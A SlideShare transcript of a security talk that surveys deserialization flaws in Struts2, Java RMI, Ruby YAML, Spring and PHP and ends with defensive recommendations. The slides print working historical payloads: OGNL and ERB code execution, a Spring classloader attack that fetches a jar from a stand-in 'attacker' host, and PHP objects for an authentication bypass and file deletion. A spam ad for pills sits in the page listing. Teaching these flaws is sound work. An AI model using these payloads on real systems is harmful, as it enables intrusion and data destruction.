SlideShare ist ein Scribd-Unternehmen logo
1 von 42
Peter Magnusson
Twitter: @blaufish_
omegapoint.se
sakerhetspodcasten.se
Serial Killers
or Deserializing for fun and profit
Unserialize this! Okay!
bomb!
Intro Broken?
Dirty?
Native?
FINImprove
ID: 123
TYPE: 3
ID: 123
TYPE: 3
ID: 123 TYPE: 3
unserializeserialize
Ubiquitous
Binary
Web Forms File Storage
XML
JSON
GWT
Machine <-> Machine Man <-> Machine Machine <-> temp <-> Machine
RPC
View State
Event
Validation
Form Auth
Cookie
JSON
The Old Way
tempBytes1 = read(stream, 2);
data.id = convertNetworkBytesToInt(tempBytes1);
tempBytes2 = read(stream, 2);
data.type = convertNetworkBytesToInt(tempBytes2);
The New Way
data = unserialize( stream )
MAGIC GLUE!
Unserialize this! Okay!
bomb!
Intro Broken?
Dirty?
Native?
FINImprove
What if magic glue …
…is terribly
broken?
Java
Struts2/XWork
username=foo&password=bar
/struts2-blank-2.1.8.1/example/Login.action
xwork2.util.ValueStack.setValue( expr, value )
new Login()
login.setUsername("foo")
username=foo&password=bar
login.setPassword("bar")
OgnlUtil.setValue(expr, …);
Ognl.setValue(compile(name), …);
VULNERABILITY:
Executes any OGNL language commands (i.e. any java) with
insufficient filtering
EXPLOIT:
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')
http://www.exploit-db.com/exploits/18329/ - Johannes Dahse, Andreas Nusser, 2011
http://www.exploit-db.com/exploits/14360/ - Meder Kydyraliev, 2010
http://127.0.0.1:8081/struts2-blank-
2.1.8.1/example/HelloWorld.action?('u0023_
memberAccess['allowStaticMethodAccess']')
(meh)=true&(aaa)(('u0023context['xwork.M
ethodAccessor.denyMethodExecution']u003
du0023foo')(u0023foou003dnew%20java.la
ng.Boolean(%22false%22)))&(asdf)(('u0023rt.
exit(1)')(u0023rtu003d@java.lang.Runtime
@getRuntime()))=1
protected boolean acceptableName(String name) {
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1 ||
name.indexOf(':') != -1 || name.indexOf("u0023") != -1) {
return false;
2006
private String acceptedParamNames = "[[p{Graph}s]&&[^,#:=]]*"; 2010
private String acceptedParamNames = "[a-zA-Z0-9.][_'s]+"; fix
public static final String ACCEPTED_PARAM_NAMES =
"w+((.w+)|([d+])|((d+))|(['w+'])|(('w+')))*";
protected static final int PARAM_NAME_MAX_LENGTH = 100;
later
This code has ALWAYS been DANGEROUS, protected by input validation only.
Somewhere between 2006 and 2010 the u0023 version of # got lost.
Revision 956389 - (view) (download) (annotate) - [select for diffs]
Modified Sun Jun 20 19:20:11 2010 UTC (2 years, 9 months ago)
Resolved critical Xwork vulnerability
Revision 956397 - (view) (download) (annotate) - [select for diffs]
Modified Sun Jun 20 19:48:18 2010 UTC (2 years, 9 months ago)
Slight update to accepted parameters name pattern to accept also ( and )
Revision 1129979 - (view) (download) (annotate) - [select for diffs]
Modified Wed Jun 1 00:30:25 2011 UTC (22 months, 1 week ago)
XW-386 allow x['y'] as well as x.y
Revision 1234212 - (view) (download) (annotate) - [select for diffs]
Modified Sat Jan 21 00:04:43 2012 UTC (14 months, 2 weeks ago)
Security issue fixed (see [1] for further details)
[1] https://cwiki.apache.org/confluence/display/WW/S2-009
Revision 1368841 - (view) (download) (annotate) - [select for diffs]
Modified Fri Aug 3 09:16:47 2012 UTC (8 months, 1 week ago)
WW-3860
Restrict accepted parameter name length
Thanks to Johno Crawford for the patch.
1. Regexp
2. Extensible
3. Purpose &
proper use
not well
defined
Not an easy fix!
Java / RMI
VULNERABILITY:
The class annotation is resolved during deserialization using the
ObjectInputStream.resolveClass method. The resolveClass reads from
ObjectInputStream.readObject.
If the annotation, a codebase URL, is non-null, then it obtains the
classloader for that URL and attempts to load the class.
EXPLOIT:
P?? w" ??????Cur [Ljava.rmi.server.ObjID;? ??,d~ pxp
sr metasploit.RMILoader?eD?&??? t file:./rmidummy.jarxpw
http://www.metasploit.com/modules/exploit/multi/misc/java_rmi_server
http://docs.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol4.html
Ruby
VULNERABILITY:
XML_FORMATTING = { …
"yaml" => Proc.new { |yaml| yaml.to_yaml }
…
when "yaml" then YAML::load(content) rescue content
EXPLOIT:
<fail type="yaml">
--- !ruby/object:ERB
template:
src: !binary |-
#{Base64.encode64(code)}
</fail>
http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-
vulnerability-explained/
Intro Broken?
Dirty?
Native?
FINImprove
What if magic glue …
…introduce dirty objects?
Java
Spring/Tomcat/Jasper
java.beans.PropertyDescriptor getWriteMethod("username")
?username=foo
invoke("foo")
VULNERABILITY:
Spring unserialize using Java Bean API.
Spring allows poisoning Object.classLoader property.
Jasper will heed Object.classLoader upon loading tag files.
EXPLOIT:
class.classLoader.URLs[0]=jar:http://attacker/spring-
exploit.jar!/
/META-INF/tags/InputTag.tag:
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>
http://blog.o0o.nu/2010/06/cve-2010-1622.html - Meder Kydyraliev
java.beans
?class.classLoader.urls[0]=jar:http://attacker/exploit.jar!/
Object.getClass() Class.getClassLoader()
org.apache.catalina.loader.
WebappClassLoader.getUrls()
Array.set(array, 0,
new URL("jar:http://attacker/exploit.jar!/") )
Object.getClass.getClassLoader().load()
exploit.jar
"Specify the stop class:
BeanInfo info =
Introspector.getBeanInfo(Person.class, Object.class)"
"There's a lot more code out there that doesn't specify
stop class, some of it has to have security implications."
MEDER KYDYRALIEV. SUNDAY, JUNE 20, 2010
2013?
PHP
From SektionEins, Stefan Esser
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
VULNERABILITY:
$data = unserialize($autologin);
if ($data['username'] == $adminName &&
$data['password'] == $adminPassword) {
EXPLOIT:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
http://heine.familiedeelstra.com/security/unserialize
VULNERABILITY
function __destruct()
{
if ($this->_temp_tarname != '') {
@drupal_unlink($this->_temp_tarname);
EXPLOIT:
O:11:"Archive_Tar":6:{s:8:"_tarname";N;s:9:"_compress";b:0;s:
14:"_compress_type";s:4:"none";s:10:"_separator";s:1:"
";s:5:"_file";i:0;s:13:"_temp_tarname";s:0:"";}
(change _temp_tarname string to whatever file to delete)
Intro Broken?
Dirty?
Native?
FINImprove
What if magic glue …
…expose native code?
Java/Hessian
EXPOSES NATIVE ZLIB:
public Hessian2Input unwrapHeaders(Hessian2Input in)
throws IOException
{
InputStream is = new DeflateInputStream(in);
OLD ZLIB VULNERNABILITIES:
zlib inflate() routine vulnerable to buffer overflow
The zlib compression library is vulnerable to a denial-of-service condition
Intro Broken?
Dirty?
Native?
FINImprove
Frameworks MUST NOT:
have a f**ing Turing-complete “do
anything” execution engine for
serialization
Frameworks SHOULD:
Implement a WHITE LIST approach
rather than allow anything.
(public != safe)
@WebSerializable
class PayFormController {
@WebSerializable
public void setAccount(String account);
Developers SHOULD:
Only use safe classes for unserializing.
Don’t have potentially dangerous code in
classes you intend to unserialize
setAccount
setAmount setClassLoader
setTempFile
setDate destroyMankind
Frameworks & Developers SHOULD:
(where applicable)
require data authenticity
(pattern used in VIEWSTATE, EVENTVALIDATION, & Forms
Authentication Cookies)
serialized data Auth
HMAC( M, server key )M
If Auth != HMAC(M, key) abort!
Intro Broken?
Dirty?
Native?
FINImprove
common shared problems
Frameworks & devs should act upon it
DO NOT
execute input
DO
whitelist approach
only safe code in data classes
require data authenticity
load code from external url

Weitere ähnliche Inhalte

Was ist angesagt?

New features in Performance Schema 5.7 in action
New features in Performance Schema 5.7 in actionNew features in Performance Schema 5.7 in action
New features in Performance Schema 5.7 in actionSveta Smirnova
 
Do we need Unsafe in Java?
Do we need Unsafe in Java?Do we need Unsafe in Java?
Do we need Unsafe in Java?Andrei Pangin
 
OSGi and Eclipse RCP
OSGi and Eclipse RCPOSGi and Eclipse RCP
OSGi and Eclipse RCPEric Jain
 
Gc crash course (1)
Gc crash course (1)Gc crash course (1)
Gc crash course (1)Tier1 app
 
201204 random clustering
201204 random clustering201204 random clustering
201204 random clusteringpluskjw
 
Cassandra Summit 2013 Keynote
Cassandra Summit 2013 KeynoteCassandra Summit 2013 Keynote
Cassandra Summit 2013 Keynotejbellis
 
Cassandra for Python Developers
Cassandra for Python DevelopersCassandra for Python Developers
Cassandra for Python DevelopersTyler Hobbs
 
Fun Teaching MongoDB New Tricks
Fun Teaching MongoDB New TricksFun Teaching MongoDB New Tricks
Fun Teaching MongoDB New TricksMongoDB
 
Riak at The NYC Cloud Computing Meetup Group
Riak at The NYC Cloud Computing Meetup GroupRiak at The NYC Cloud Computing Meetup Group
Riak at The NYC Cloud Computing Meetup Groupsiculars
 
Nvidia® cuda™ 5.0 Sample Evaluation Result Part 1
Nvidia® cuda™ 5.0 Sample Evaluation Result Part 1Nvidia® cuda™ 5.0 Sample Evaluation Result Part 1
Nvidia® cuda™ 5.0 Sample Evaluation Result Part 1Yukio Saito
 
Storing 16 Bytes at Scale
Storing 16 Bytes at ScaleStoring 16 Bytes at Scale
Storing 16 Bytes at Scalefabxc
 

Was ist angesagt? (20)

Broker otw.pptx
Broker otw.pptxBroker otw.pptx
Broker otw.pptx
 
ZODB Tips and Tricks
ZODB Tips and TricksZODB Tips and Tricks
ZODB Tips and Tricks
 
New features in Performance Schema 5.7 in action
New features in Performance Schema 5.7 in actionNew features in Performance Schema 5.7 in action
New features in Performance Schema 5.7 in action
 
Do we need Unsafe in Java?
Do we need Unsafe in Java?Do we need Unsafe in Java?
Do we need Unsafe in Java?
 
OSGi and Eclipse RCP
OSGi and Eclipse RCPOSGi and Eclipse RCP
OSGi and Eclipse RCP
 
Gc crash course (1)
Gc crash course (1)Gc crash course (1)
Gc crash course (1)
 
MongoDB-SESSION03
MongoDB-SESSION03MongoDB-SESSION03
MongoDB-SESSION03
 
201204 random clustering
201204 random clustering201204 random clustering
201204 random clustering
 
java
javajava
java
 
Cassandra Summit 2013 Keynote
Cassandra Summit 2013 KeynoteCassandra Summit 2013 Keynote
Cassandra Summit 2013 Keynote
 
Cassandra for Python Developers
Cassandra for Python DevelopersCassandra for Python Developers
Cassandra for Python Developers
 
Fun Teaching MongoDB New Tricks
Fun Teaching MongoDB New TricksFun Teaching MongoDB New Tricks
Fun Teaching MongoDB New Tricks
 
Drools
DroolsDrools
Drools
 
Django cryptography
Django cryptographyDjango cryptography
Django cryptography
 
Spock and Geb in Action
Spock and Geb in ActionSpock and Geb in Action
Spock and Geb in Action
 
Riak at The NYC Cloud Computing Meetup Group
Riak at The NYC Cloud Computing Meetup GroupRiak at The NYC Cloud Computing Meetup Group
Riak at The NYC Cloud Computing Meetup Group
 
Nvidia® cuda™ 5.0 Sample Evaluation Result Part 1
Nvidia® cuda™ 5.0 Sample Evaluation Result Part 1Nvidia® cuda™ 5.0 Sample Evaluation Result Part 1
Nvidia® cuda™ 5.0 Sample Evaluation Result Part 1
 
Spock
SpockSpock
Spock
 
Storing 16 Bytes at Scale
Storing 16 Bytes at ScaleStoring 16 Bytes at Scale
Storing 16 Bytes at Scale
 
Logfile
LogfileLogfile
Logfile
 

Ähnlich wie Serial Killers - or Deserialization for fun and profit

How to Make AJAX Applications Scream on the Client
How to Make AJAX Applications Scream on the ClientHow to Make AJAX Applications Scream on the Client
How to Make AJAX Applications Scream on the Clientgoodfriday
 
Microformats, Institute of Engineering and Technology
Microformats, Institute of Engineering and TechnologyMicroformats, Institute of Engineering and Technology
Microformats, Institute of Engineering and TechnologyNishikant Taksande
 
Lean React - Patterns for High Performance [ploneconf2017]
Lean React - Patterns for High Performance [ploneconf2017]Lean React - Patterns for High Performance [ploneconf2017]
Lean React - Patterns for High Performance [ploneconf2017]Devon Bernard
 
泣かないAppEngine開発
泣かないAppEngine開発泣かないAppEngine開発
泣かないAppEngine開発Shuji Watanabe
 
IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."
IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."
IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."Dongwook Lee
 
Integrate Solr with real-time stream processing applications
Integrate Solr with real-time stream processing applicationsIntegrate Solr with real-time stream processing applications
Integrate Solr with real-time stream processing applicationslucenerevolution
 
Large volume data analysis on the Typesafe Reactive Platform
Large volume data analysis on the Typesafe Reactive PlatformLarge volume data analysis on the Typesafe Reactive Platform
Large volume data analysis on the Typesafe Reactive PlatformMartin Zapletal
 
Installing spark 2
Installing spark 2Installing spark 2
Installing spark 2Ahmed Mekawy
 
Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.
Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.
Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.Lucidworks
 
Replacing Squid with ATS
Replacing Squid with ATSReplacing Squid with ATS
Replacing Squid with ATSKit Chan
 
Boost Development With Java EE7 On EAP7 (Demitris Andreadis)
Boost Development With Java EE7 On EAP7 (Demitris Andreadis)Boost Development With Java EE7 On EAP7 (Demitris Andreadis)
Boost Development With Java EE7 On EAP7 (Demitris Andreadis)Red Hat Developers
 
Microservices with Micronaut
Microservices with MicronautMicroservices with Micronaut
Microservices with MicronautQAware GmbH
 
Cacoo enterprise installation_manual
Cacoo enterprise installation_manualCacoo enterprise installation_manual
Cacoo enterprise installation_manualjoseig23
 
yagdao-0.3.1 JPA guide
yagdao-0.3.1 JPA guideyagdao-0.3.1 JPA guide
yagdao-0.3.1 JPA guideMert Can Akkan
 
Rapid and Scalable Development with MongoDB, PyMongo, and Ming
Rapid and Scalable Development with MongoDB, PyMongo, and MingRapid and Scalable Development with MongoDB, PyMongo, and Ming
Rapid and Scalable Development with MongoDB, PyMongo, and MingRick Copeland
 
Migrating from Struts 1 to Struts 2
Migrating from Struts 1 to Struts 2Migrating from Struts 1 to Struts 2
Migrating from Struts 1 to Struts 2Matt Raible
 

Ähnlich wie Serial Killers - or Deserialization for fun and profit (20)

Javantura v2 - Replication with MongoDB - what could go wrong... - Philipp Krenn
Javantura v2 - Replication with MongoDB - what could go wrong... - Philipp KrennJavantura v2 - Replication with MongoDB - what could go wrong... - Philipp Krenn
Javantura v2 - Replication with MongoDB - what could go wrong... - Philipp Krenn
 
How to Make AJAX Applications Scream on the Client
How to Make AJAX Applications Scream on the ClientHow to Make AJAX Applications Scream on the Client
How to Make AJAX Applications Scream on the Client
 
Microformats, Institute of Engineering and Technology
Microformats, Institute of Engineering and TechnologyMicroformats, Institute of Engineering and Technology
Microformats, Institute of Engineering and Technology
 
Lean React - Patterns for High Performance [ploneconf2017]
Lean React - Patterns for High Performance [ploneconf2017]Lean React - Patterns for High Performance [ploneconf2017]
Lean React - Patterns for High Performance [ploneconf2017]
 
泣かないAppEngine開発
泣かないAppEngine開発泣かないAppEngine開発
泣かないAppEngine開発
 
IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."
IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."
IBM dwLive, "Internet & HTTP - 잃어버린 패킷을 찾아서..."
 
Integrate Solr with real-time stream processing applications
Integrate Solr with real-time stream processing applicationsIntegrate Solr with real-time stream processing applications
Integrate Solr with real-time stream processing applications
 
Javaee6 Overview
Javaee6 OverviewJavaee6 Overview
Javaee6 Overview
 
Large volume data analysis on the Typesafe Reactive Platform
Large volume data analysis on the Typesafe Reactive PlatformLarge volume data analysis on the Typesafe Reactive Platform
Large volume data analysis on the Typesafe Reactive Platform
 
Installing spark 2
Installing spark 2Installing spark 2
Installing spark 2
 
Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.
Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.
Optimize Is (Not) Bad For You - Rafał Kuć, Sematext Group, Inc.
 
Replacing Squid with ATS
Replacing Squid with ATSReplacing Squid with ATS
Replacing Squid with ATS
 
ReplacingSquidWithATS
ReplacingSquidWithATSReplacingSquidWithATS
ReplacingSquidWithATS
 
Boost Development With Java EE7 On EAP7 (Demitris Andreadis)
Boost Development With Java EE7 On EAP7 (Demitris Andreadis)Boost Development With Java EE7 On EAP7 (Demitris Andreadis)
Boost Development With Java EE7 On EAP7 (Demitris Andreadis)
 
Microservices with Micronaut
Microservices with MicronautMicroservices with Micronaut
Microservices with Micronaut
 
Cacoo enterprise installation_manual
Cacoo enterprise installation_manualCacoo enterprise installation_manual
Cacoo enterprise installation_manual
 
yagdao-0.3.1 JPA guide
yagdao-0.3.1 JPA guideyagdao-0.3.1 JPA guide
yagdao-0.3.1 JPA guide
 
Rapid and Scalable Development with MongoDB, PyMongo, and Ming
Rapid and Scalable Development with MongoDB, PyMongo, and MingRapid and Scalable Development with MongoDB, PyMongo, and Ming
Rapid and Scalable Development with MongoDB, PyMongo, and Ming
 
Dropwizard
DropwizardDropwizard
Dropwizard
 
Migrating from Struts 1 to Struts 2
Migrating from Struts 1 to Struts 2Migrating from Struts 1 to Struts 2
Migrating from Struts 1 to Struts 2
 

Kürzlich hochgeladen

Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingEdi Saputra
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKJago de Vreede
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024The Digital Insurer
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...apidays
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusZilliz
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWERMadyBayot
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Orbitshub
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxRustici Software
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDropbox
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businesspanagenda
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 

Kürzlich hochgeladen (20)

Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 

Serial Killers - or Deserialization for fun and profit

Hinweis der Redaktion

  1. Who am IWhat is serializationSurvey/overview of published serialization exploits from many different frameworks, langs, technologies.Key points: common challenges, not researched enough, affects framework devs &amp; app devs
  2. Serilaizing: The art of putting data (objects etc) into a well specified format for transmission, temporary storage, or persistenceDeserializing: reading data from a well specified formatIn order to recreate a data (objects etc) into our application&apos;s memory
  3. This is how C code used to look (not really, but readable to Java devs^_^ )Verbose, but it does what it is supposed to doRarely seen in modern framework driven source code
  4. Framework driven serializationNo or very little code to tell framework what to doLess control
  5. Could things go wrong?
  6. This vulnerability is written into the design of java RMI / corba / EE technologies.Defaults are about to change to secure. Look into how to secure RMI =)You better firewall away java servers, don&apos;t allow connections to ports other than 80/443, most java servers are probably NOT secured..
  7. Basically same as the Java Struts OGNL bug etc, iremote code execution is built in. Luckily, this is a feature not much utilized, so it could be removed.
  8. Java bean API used read/write properties specified in the URL
  9. This is really a nifty way of blacklisting Object.class with minimal coding changes. Java API docs, tutorials etc doesn&apos;t cover classLoader injection problems.Suggestion to specify a stop class seems to be largely ignored when looking through github search results 2013.In a real world JavaEE or spring project in a large enterprise, beans are often polluted with code added for god knows what purpose. In large projects, there is likely more properties than class which could be dangerous!
  10. Due to PHP == behavior, this code will return true if a serialized string is modified into a true boolean.
  11. Any serializartion may introduce a polluted Archive_Tar. __destruct will run upon garbage collect. Problem is far far away from the vulnerability.I find this interesting.There&apos;s no reason why the Archive_Tar shouldn&apos;t be allowed to do temp files.There&apos;s no reason why the Arrchive_Tar should expect polluted objectsEXCEPT if any other code introduce serialization, this code becomes a huge flaw.
  12. Code should be specifically tailored for dealing with deserialization of external, potentially malicious, data.It goes against any sane reasoning that executing external data is the proper way to implement deserialization.Struts2/OGNL and Ruby/YAML cannot be considered sane solutions.
  13. IMHO we should switch from blacklist approach to whitelist approachHave developers actually specify &quot;this is a setting we WANT to accept for deserialization&quot;From my dev experience, devs DO NOT use &quot;public&quot; as a way to indicate &quot;this is safe for remote modification&quot;. Devs use public/protected/private for various purposes and often change them if it solves an immediate problem. I&apos;m not sure if things are done better in the open source world, but in companies public/protected/private is not used by app devs as framework devs seem to believe.Never forget: Java Object.class and class.classLoader are excellent example of framework assumption &quot;public == safe&quot; being wrong.
  14. App devs need to look into how serialization classes are composed.They must be sane, safe beans.Don&apos;t clutter with code other than properties.Don&apos;t clutter with properties which might be dangerous.Any &quot;dangerous&quot; code should be moved to other less exposed classes.
  15. If the serialized data wasn&apos;t signed by me, I don&apos;t want to deserialize itThis pattern only works for a few use cases.But it is frigging awesome way to handle those cases.
  16. Key take awaysCommon &amp; shared problemAct preemptively, don&apos;t wait until external security researchers or blackhats look at your codeIt is not okay that the same thing is rediscovered again and again in different frameworks etc. Framework devs should look at how other frameworks have failed and try not to repeat others mistakes.It is not okay that pretty clear 2010 advice from MEDER KYDYRALIEV is still largely ignored.Look at do&apos;s and don&apos;ts.